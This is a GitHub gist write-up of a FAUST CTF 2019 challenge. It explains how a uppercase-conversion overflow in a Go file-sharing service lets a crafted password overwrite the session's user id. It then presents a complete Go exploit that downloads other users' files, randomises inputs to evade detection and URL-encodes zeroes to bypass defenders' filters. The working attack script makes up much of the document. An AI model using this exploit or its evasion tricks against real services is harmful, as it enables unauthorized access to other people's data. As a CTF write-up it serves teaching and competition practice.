Skip to content

Instantly share code, notes, and snippets.

@neex

neex/README.md Secret

Created May 26, 2019 16:51
Show Gist options
  • Save neex/c7497571ca721752fdb36a1b6076990b to your computer and use it in GitHub Desktop.
Save neex/c7497571ca721752fdb36a1b6076990b to your computer and use it in GitHub Desktop.

Service description

The service is simple file sharing service. One can register, login and upload a file, sending it to another user. The service is written in Go.

Every file has a unique id. When a file is requested, the id is sent in the request path. The service checks if the user is authorized to access the file.

The authorization machinery relies on sessions. A session is stored as a byte array of length 144 with the following structure:

-----------------------------------------------------------------------------------
|  username (64 bytes)  |  password (64 bytes)  |  hex-encoded user id (16 bytes) |
-----------------------------------------------------------------------------------

The username and password are case-insensitive and are translated to uppercase when the session is processed.

Sessions are stored in a cookie on the client side, encrypted using AES CBC (however, the exploit, at least ours, does not use any flaws of this encryption mode).

The session is generated once user logins. On every request that needs authentication the service does the following:

  1. Decrypt the session.
  2. Extract the password hash for the specified user id from the database.
  3. Hash the password from the session, compare hashes.

If the hashes are not equal the request is rejected.

Target

Our goal is to download files that are sent to other users. The ids and names of target users and files could have been obtained from https://2019.faustctf.net/flagid.json (however, the service itself provided the ability to list the files, and user ids were incremental).

The bug

The first problem is that the password is not actually checked upon login, it is just stored in the session. However, the password is checked when the session is validated (on every other HTTP request, including target file download), so this issue alone is not enough.

The second bug resides in the makeUpper function, which is designed to translate the letters of the password and user name to upper case.

func makeUpper(data []byte) []byte {
        return append(data[:0], bytes.Map(unicode.ToUpper, data)...)
}

This function is intended to translate data to uppercase in place. However, the output of unicode.ToUpper could be longer than the input, thus the append call would overwrite bytes beyond the original slice. As makeUpper is applied to the username and password fields of the session, it could be used to overwrite the user id.

The session validation looks like this (the code simplified a little bit):

type Session [sessionLen]byte
...
func (s *Session)  Uid() uint64 {
       uid, _ := strconv.ParseUint(string(s[uidIdx:uidIdx+uidLen]), 16, 64)
       if uid == 0 {
               return math.MaxUint64
       }
       return uid
}

func (s *Session) Validate() bool {
       var user User
       if err := db.First(&user, s.Uid()).Error; err != nil {
               fmt.Println("Error: User not found", err, s.Uid())
               return false
       }

       makeUpper(s[usernameIdx:usernameIdx+usernameLen])
       makeUpper(s[passwordIdx:passwordIdx+passwordLen])
       candidatePasswordHash := sha512.Sum512(s[passwordIdx:passwordIdx+passwordLen])
       return subtle.ConstantTimeCompare(user.PasswordHash, candidatePasswordHash[:]) == 1
}

Note the order of operations:

  1. The user ID is taken, the user information is requested from the database.
  2. makeUpper is called on the username and password
  3. Password hashes are compared.

That means that if the session contains a crafted password, the hash will be compared to the original user's hash, but the next call to Uid will return another value (more details in the next section).

Exploitation

The simplest way to make unicode.ToUpper return an output longer than an input is to provide a utf8 continuation byte (values 128-196). Is is incorrect in utf8 for continuation byte not to go after some start byte, so unicode.ToUpper will return 3 bytes long "replacement character".

The full exploitation process is as follows:

  1. First, we generate password p with the following structure:

    -----------------------------------------------------------------------------------------------------------------------
    |  A-Z letters (40 bytes)  |  continuation bytes in range 128-196 (8 bytes)  |  hex-encoded target user id (16 bytes) |
    -----------------------------------------------------------------------------------------------------------------------
    

    Let's see what does bytes.Map(unicode.ToUpper, p) (denote it by P) look like. All A-Z letters remain unchanged, each continuation byte is translated to "replacement character", and target user-id remains unchanged too. Thus, P is 80 bytes long and looks like this:

    -----------------------------------------------------------------------------------------------------------
    |  A-Z letters (40 bytes)  |  replacement characters (24 bytes)  |  hex-encoded target user id (16 bytes) |
    -----------------------------------------------------------------------------------------------------------
    

    Denote first 64 bytes of P (that is, first two fields) by P'.

  2. We register a user U with random username and P' as the password.

  3. We login with username of user U and password p. As mentioned in the previous chapter, login does not check the password, but stores it in the session as-is. Thus, we will get a session with user name and user id of U and password p

  4. We request the target file which contains the flag. Session.Validate is called on the session obtained earlier. Let's see how it will be executed:

    First, the User struct will be requested from the database.

    var user User
    if err := db.First(&user, s.Uid()).Error; err != nil {
            fmt.Println("Error: User not found", err, s.Uid())
            return false
    }

    The s.Uid is unchanged at the point, thus the user variable will contain information on user U we registered.

    Then makeUpper is called on username and password.

    makeUpper(s[usernameIdx:usernameIdx+usernameLen])
    makeUpper(s[passwordIdx:passwordIdx+passwordLen])

    The username part is nothing interesting, but the makeUpper(password) does the magic: password p we specified on login become P after applying bytes.Map(unicode.ToUpper, p). The value of P is 80-byte long, which is longer than the original slice, but fits into the underlying array (which is the session itself). Thus, the call to append overwrites the data in the session: the password field (s[passwordIdx:passwordIdx+passwordLen]) becomes the value of the first 64 bytes of P (which is P') and the user id in the session is overwritten by the last 16 bytes P, which represent target user id.

    Then, the hash comparison goes:

    candidatePasswordHash := sha512.Sum512(s[passwordIdx:passwordIdx+passwordLen])
    return subtle.ConstantTimeCompare(user.PasswordHash, candidatePasswordHash[:]) == 1

    As user variable contains the info about our user U, the comparison is between hashes of the password we specified during the registration and s[passwordIdx:passwordIdx+passwordLen], which is P'. They are equal.

  5. After Validate the control flow goes back into the download function itself. To authorize the request it calls session.Uid() and compares the result with the stored recipient id of the target file. As user id got overwritten during Validate the check passes and the flag is returned.

The whole exploit is in the sploit.go. It does some random mutations of the password to make detection harder.

It worth mentioning that some teams, apparently, did not fix the service logic. Instead, they banned a long sequence of zeroes in requests. As the user IDs are small numbers and the session stores it as 16 bytes long hex-encoded integer, there will be always a lot of zeroes at the end of p. However, we were able to bypass some of these fixes using URL encoding (that is, sending %30 instead of 0).

package main
import (
"bytes"
"encoding/base64"
"encoding/json"
"fmt"
"io/ioutil"
"log"
"math/rand"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"path"
"strconv"
"strings"
"time"
"unicode"
)
const (
FlagIdUrl = "http://shellbox.bushwhackers.ru:8014/flagid.json"
FlagFlagDir = "flagflag"
)
type FlagInfo struct {
FlagId string
UserId int
FileId int
}
func NewFlagInfo(flagString string) (*FlagInfo, error) {
fields := strings.SplitN(flagString, ":", -1)
if len(fields) != 4 {
return nil, fmt.Errorf("invalid flagString: %v", fields)
}
userId, _ := strconv.Atoi(fields[1])
fileId, _ := strconv.Atoi(fields[3])
if userId == 0 || fileId == 0 {
return nil, fmt.Errorf("invalid flagString: %v", fields)
}
return &FlagInfo{
FlagId: flagString,
UserId: userId,
FileId: fileId,
}, nil
}
func (info *FlagInfo) flagFilename() string {
return path.Join(FlagFlagDir, base64.RawURLEncoding.EncodeToString([]byte(info.FlagId)))
}
func (info *FlagInfo) AlreadyDumped() bool {
_, err := os.Stat(info.flagFilename())
return err == nil
}
func (info *FlagInfo) SetDumped() {
_, _ = os.Create(info.flagFilename())
}
var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
func RandStringRunes(n int) string {
b := make([]rune, n)
for i := range b {
b[i] = letterRunes[rand.Intn(len(letterRunes))]
}
return string(b)
}
func GetFlagIDs(target string) (fi []*FlagInfo) {
if target == "localhost" {
return []*FlagInfo{{
FlagId: RandStringRunes(20),
UserId: 1,
FileId: 1,
}}
}
var flags struct {
GDPR map[string][]string `json:"Happy Birthday GDPR"`
}
flagResponse, err := http.Get(FlagIdUrl)
if flagResponse != nil {
defer func() { _ = flagResponse.Body.Close() }()
}
if err != nil {
log.Fatal(err)
}
dec := json.NewDecoder(flagResponse.Body)
if err := dec.Decode(&flags); err != nil {
log.Fatal(err)
}
for _, f := range flags.GDPR[target] {
if info, err := NewFlagInfo(f); err != nil {
log.Fatalf("FlagString parsing: %v", err)
} else {
fi = append(fi, info)
}
}
return
}
func MakeUpper(data []byte) []byte {
return bytes.Map(unicode.ToUpper, data)
}
func GenPassword(userId uint) []byte {
ending := fmt.Sprintf("%016x", userId)
password := []byte(RandStringRunes(48) + ending)
left := 8
for left > 0 {
idx := rand.Intn(48)
if password[idx] > 128 {
continue
}
left--
password[idx] = byte(rand.Intn(64) + 128)
}
return password
}
func GenPasswordForRegister(password []byte) string {
return string(MakeUpper(password)[:64])
}
func GenPasswordForLogin(password []byte) string {
return string(password) + RandStringRunes(16)
}
func ExtractFlag(target string, flag *FlagInfo) []byte {
username := RandStringRunes(rand.Intn(10) + 50)
password := GenPassword(uint(flag.UserId))
tr := &http.Transport{
DisableKeepAlives: true,
Proxy: func(r *http.Request) (*url.URL, error) {
r.Header.Set("User-Agent", "")
return http.ProxyFromEnvironment(r)
},
}
jar, err := cookiejar.New(nil)
if err != nil {
log.Fatal(err)
}
client := &http.Client{
Transport: tr,
Jar: jar,
Timeout: 10 * time.Second,
CheckRedirect: func(_ *http.Request, _ []*http.Request) error {
return http.ErrUseLastResponse
},
}
uidRaw := fmt.Sprintf("%016x", flag.UserId)
uidEncoded := strings.ReplaceAll(uidRaw, "0", "%30")
postForm := func(url string, data url.Values) (*http.Response, error) {
encoded := data.Encode()
encoded = strings.ReplaceAll(encoded, uidRaw, uidEncoded)
return client.Post(url, "application/x-www-form-urlencoded", strings.NewReader(encoded))
}
base := fmt.Sprintf("http://%s:4377", target)
regValues := url.Values{
"username": []string{username},
"password": []string{GenPasswordForRegister(password)},
}
regResp, err := postForm(base+"/register", regValues)
if regResp != nil {
defer func() { _ = regResp.Body.Close() }()
}
if err != nil || regResp.StatusCode != 307 {
log.Printf("Reg: %#v", err)
return nil
}
loginValues := url.Values{
"username": []string{username},
"password": []string{GenPasswordForLogin(password)},
}
loginResp, err := postForm(base+"/login", loginValues)
if loginResp != nil {
defer func() { _ = loginResp.Body.Close() }()
}
if err != nil || loginResp.StatusCode != 303 {
log.Printf("Login: %#v", err)
return nil
}
flagUrl := fmt.Sprintf("%s/download?%d", base, flag.FileId)
flagResp, err := client.Get(flagUrl)
if flagResp != nil {
defer func() { _ = flagResp.Body.Close() }()
}
if err != nil || flagResp.StatusCode != 200 {
log.Printf("Flag: %#v", err)
return nil
}
data, err := ioutil.ReadAll(flagResp.Body)
if err != nil {
log.Printf("Flag body read: %#v", err)
return nil
}
return data
}
func main() {
_ = os.Mkdir(FlagFlagDir, 0755)
rand.Seed(time.Now().UnixNano())
target := os.Args[1]
flags := GetFlagIDs(target)
for _, flag := range flags {
if flag.AlreadyDumped() {
continue
}
flagData := ExtractFlag(target, flag)
fmt.Printf("%#v %s\n", flag, string(flagData))
if flagData != nil {
flag.SetDumped()
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment